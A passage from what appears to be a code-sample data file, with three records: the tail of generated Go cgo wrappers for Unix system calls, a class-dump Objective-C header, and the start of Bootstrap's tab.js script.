C.uintptr_t(_p1))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setdomainname(p []byte) (err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.setdomainname(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Sethostname(p []byte) (err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.sethostname(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setpgid(pid int, pgid int) (err error) {\n\tr0, er := C.setpgid(C.int(pid), C.int(pgid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setsid() (pid int, err error) {\n\tr0, er := C.setsid()\n\tpid = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Settimeofday(tv *Timeval) (err error) {\n\tr0, er := C.settimeofday(C.uintptr_t(uintptr(unsafe.Pointer(tv))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setuid(uid int) (err error) {\n\tr0, er := C.setuid(C.int(uid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setgid(uid int) (err error) {\n\tr0, er := C.setgid(C.int(uid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setpriority(which int, who int, prio int) (err error) {\n\tr0, er := C.setpriority(C.int(which), C.int(who), C.int(prio))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.statx(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.int(mask), C.uintptr_t(uintptr(unsafe.Pointer(stat))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Sync() {\n\tC.sync()\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Times(tms *Tms) (ticks uintptr, err error) {\n\tr0, er := C.times(C.uintptr_t(uintptr(unsafe.Pointer(tms))))\n\tticks = uintptr(r0)\n\tif uintptr(r0) == ^uintptr(0) && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Umask(mask int) (oldmask int) {\n\tr0, _ := C.umask(C.int(mask))\n\toldmask = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Uname(buf *Utsname) (err error) {\n\tr0, er := C.uname(C.uintptr_t(uintptr(unsafe.Pointer(buf))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Unlink(path string) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.unlink(C.uintptr_t(_p0))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Unlinkat(dirfd int, path string, flags int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.unlinkat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Ustat(dev int, ubuf *Ustat_t) (err error) {\n\tr0, er := C.ustat(C.int(dev), C.uintptr_t(uintptr(unsafe.Pointer(ubuf))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc write(fd int, p []byte) (n int, err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.write(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc readlen(fd int, p *byte, np int) (n int, err error) {\n\tr0, er := C.read(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(p))), C.size_t(np))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc writelen(fd int, p *byte, np int) (n int, err error) {\n\tr0, er := C.write(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(p))), C.size_t(np))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Dup2(oldfd int, newfd int) (err error) {\n\tr0, er := C.dup2(C.int(oldfd), C.int(newfd))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fadvise(fd int, offset int64, length int64, advice int) (err error) {\n\tr0, er := C.posix_fadvise64(C.int(fd), C.longlong(offset), C.longlong(length), C.int(advice))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fchown(fd int, uid int, gid int) (err error) {\n\tr0, er := C.fchown(C.int(fd), C.int(uid), C.int(gid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc fstat(fd int, stat *Stat_t) (err error) {\n\tr0, er := C.fstat(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(stat))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.fstatat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(stat))), C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fstatfs(fd int, buf *Statfs_t) (err error) {\n\tr0, er := C.fstatfs(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(buf))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Ftruncate(fd int, length int64) (err error) {\n\tr0, er := C.ftruncate(C.int(fd), C.longlong(length))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getegid() (egid int) {\n\tr0, _ := C.getegid()\n\tegid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Geteuid() (euid int) {\n\tr0, _ := C.geteuid()\n\teuid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getgid() (gid int) {\n\tr0, _ := C.getgid()\n\tgid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getuid() (uid int) {\n\tr0, _ := C.getuid()\n\tuid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Lchown(path string, uid int, gid int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.lchown(C.uintptr_t(_p0), C.int(uid), C.int(gid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Listen(s int, n int) (err error) {\n\tr0, er := C.listen(C.int(s), C.int(n))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc lstat(path string, stat *Stat_t) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.lstat(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(stat))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Pause() (err error) {\n\tr0, er := C.pause()\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Pread(fd int, p []byte, offset int64) (n int, err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.pread64(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.longlong(offset))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Pwrite(fd int, p []byte, offset int64) (n int, err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.pwrite64(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.longlong(offset))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {\n\tr0, er := C.c_select(C.int(nfd), C.uintptr_t(uintptr(unsafe.Pointer(r))), C.uintptr_t(uintptr(unsafe.Pointer(w))), C.uintptr_t(uintptr(unsafe.Pointer(e))), C.uintptr_t(uintptr(unsafe.Pointer(timeout))))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {\n\tr0, er := C.pselect(C.int(nfd), C.uintptr_t(uintptr(unsafe.Pointer(r))), C.uintptr_t(uintptr(unsafe.Pointer(w))), C.uintptr_t(uintptr(unsafe.Pointer(e))), C.uintptr_t(uintptr(unsafe.Pointer(timeout))), C.uintptr_t(uintptr(unsafe.Pointer(sigmask))))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setregid(rgid int, egid int) (err error) {\n\tr0, er := C.setregid(C.int(rgid), C.int(egid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setreuid(ruid int, euid int) (err error) {\n\tr0, er := C.setreuid(C.int(ruid), C.int(euid))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Shutdown(fd int, how int) (err error) {\n\tr0, er := C.shutdown(C.int(fd), C.int(how))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {\n\tr0, er := C.splice(C.int(rfd), C.uintptr_t(uintptr(unsafe.Pointer(roff))), C.int(wfd), C.uintptr_t(uintptr(unsafe.Pointer(woff))), C.int(len), C.int(flags))\n\tn = int64(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc stat(path string, statptr *Stat_t) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.stat(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(statptr))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Statfs(path string, buf *Statfs_t) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.statfs(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(buf))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Truncate(path string, length int64) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.truncate(C.uintptr_t(_p0), C.longlong(length))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {\n\tr0, er := C.bind(C.int(s), C.uintptr_t(uintptr(addr)), C.uintptr_t(uintptr(addrlen)))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {\n\tr0, er := C.connect(C.int(s), C.uintptr_t(uintptr(addr)), C.uintptr_t(uintptr(addrlen)))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc getgroups(n int, list *_Gid_t) (nn int, err error) {\n\tr0, er := C.getgroups(C.int(n), C.uintptr_t(uintptr(unsafe.Pointer(list))))\n\tnn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc setgroups(n int, list *_Gid_t) (err error) {\n\tr0, er := C.setgroups(C.int(n), C.uintptr_t(uintptr(unsafe.Pointer(list))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {\n\tr0, er := C.getsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(uintptr(val)), C.uintptr_t(uintptr(unsafe.Pointer(vallen))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {\n\tr0, er := C.setsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(uintptr(val)), C.uintptr_t(vallen))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc socket(domain int, typ int, proto int) (fd int, err error) {\n\tr0, er := C.socket(C.int(domain), C.int(typ), C.int(proto))\n\tfd = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {\n\tr0, er := C.socketpair(C.int(domain), C.int(typ), C.int(proto), C.uintptr_t(uintptr(unsafe.Pointer(fd))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {\n\tr0, er := C.getpeername(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {\n\tr0, er := C.getsockname(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.recvfrom(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags), C.uintptr_t(uintptr(unsafe.Pointer(from))), C.uintptr_t(uintptr(unsafe.Pointer(fromlen))))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {\n\tvar _p0 *byte\n\tif len(buf) > 0 {\n\t\t_p0 = &buf[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(buf)\n\tr0, er := C.sendto(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags), C.uintptr_t(uintptr(to)), C.uintptr_t(uintptr(addrlen)))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {\n\tr0, er := C.nrecvmsg(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(msg))), C.int(flags))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {\n\tr0, er := C.nsendmsg(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(msg))), C.int(flags))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc munmap(addr uintptr, length uintptr) (err error) {\n\tr0, er := C.munmap(C.uintptr_t(addr), C.uintptr_t(length))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Madvise(b []byte, advice int) (err error) {\n\tvar _p0 *byte\n\tif len(b) > 0 {\n\t\t_p0 = &b[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(b)\n\tr0, er := C.madvise(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(advice))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mprotect(b []byte, prot int) (err error) {\n\tvar _p0 *byte\n\tif len(b) > 0 {\n\t\t_p0 = &b[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(b)\n\tr0, er := C.mprotect(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(prot))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mlock(b []byte) (err error) {\n\tvar _p0 *byte\n\tif len(b) > 0 {\n\t\t_p0 = &b[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(b)\n\tr0, er := C.mlock(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mlockall(flags int) (err error) {\n\tr0, er := C.mlockall(C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Msync(b []byte, flags int) (err error) {\n\tvar _p0 *byte\n\tif len(b) > 0 {\n\t\t_p0 = &b[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(b)\n\tr0, er := C.msync(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Munlock(b []byte) (err error) {\n\tvar _p0 *byte\n\tif len(b) > 0 {\n\t\t_p0 = &b[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(b)\n\tr0, er := C.munlock(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Munlockall() (err error) {\n\tr0, er := C.munlockall()\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc pipe(p *[2]_C_int) (err error) {\n\tr0, er := C.pipe(C.uintptr_t(uintptr(unsafe.Pointer(p))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc poll(fds *PollFd, nfds int, timeout int) (n int, err error) {\n\tr0, er := C.poll(C.uintptr_t(uintptr(unsafe.Pointer(fds))), C.int(nfds), C.int(timeout))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc gettimeofday(tv *Timeval, tzp *Timezone) (err error) {\n\tr0, er := C.gettimeofday(C.uintptr_t(uintptr(unsafe.Pointer(tv))), C.uintptr_t(uintptr(unsafe.Pointer(tzp))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Time(t *Time_t) (tt Time_t, err error) {\n\tr0, er := C.time(C.uintptr_t(uintptr(unsafe.Pointer(t))))\n\ttt = Time_t(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Utime(path string, buf *Utimbuf) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.utime(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(buf))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getsystemcfg(label int) (n uint64) {\n\tr0, _ := C.getsystemcfg(C.int(label))\n\tn = uint64(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc umount(target string) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(target)))\n\tr0, er := C.umount(C.uintptr_t(_p0))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getrlimit(resource int, rlim *Rlimit) (err error) {\n\tr0, er := C.getrlimit64(C.int(resource), C.uintptr_t(uintptr(unsafe.Pointer(rlim))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Setrlimit(resource int, rlim *Rlimit) (err error) {\n\tr0, er := C.setrlimit64(C.int(resource), C.uintptr_t(uintptr(unsafe.Pointer(rlim))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Seek(fd int, offset int64, whence int) (off int64, err error) {\n\tr0, er := C.lseek64(C.int(fd), C.longlong(offset), C.int(whence))\n\toff = int64(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {\n\tr0, er := C.mmap(C.uintptr_t(addr), C.uintptr_t(length), C.int(prot), C.int(flags), C.int(fd), C.longlong(offset))\n\txaddr = uintptr(r0)\n\tif uintptr(r0) == ^uintptr(0) && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \"IPropertyNumberApplicator.h\"\n\n@interface TPrivsPlusMinusActionButtonApplicator : IPropertyNumberApplicator\n{\n}\n\n- (_Bool)canModifyNodes:(const struct TFENodeVector *)arg1;\n- (int)applyValue:(id)arg1 toNodes:(const struct TFENodeVector *)arg2;\n\n@end\n\n"} {"text": "/* ========================================================================\n * Bootstrap: tab.js v3.2.0\n * http://getbootstrap.com/javascript/#tabs\n * ========================================================================\n * Copyright 2011-2014 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n 'use strict';\n\n // TAB CLASS DEFINITION\n // ====================\n\n var Tab = function (element) {\n this.element = $(element)\n }\n\n Tab.VERSION = '3.2.0'\n\n Tab.prototype.show = function () {\n var $this = this.element\n var $ul = $this.closest('ul:not(.dropdown-menu)')\n var selector = $this.data('target')\n\n if (!selector) {\n selector = $this.attr('href')\n selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n }\n\n if 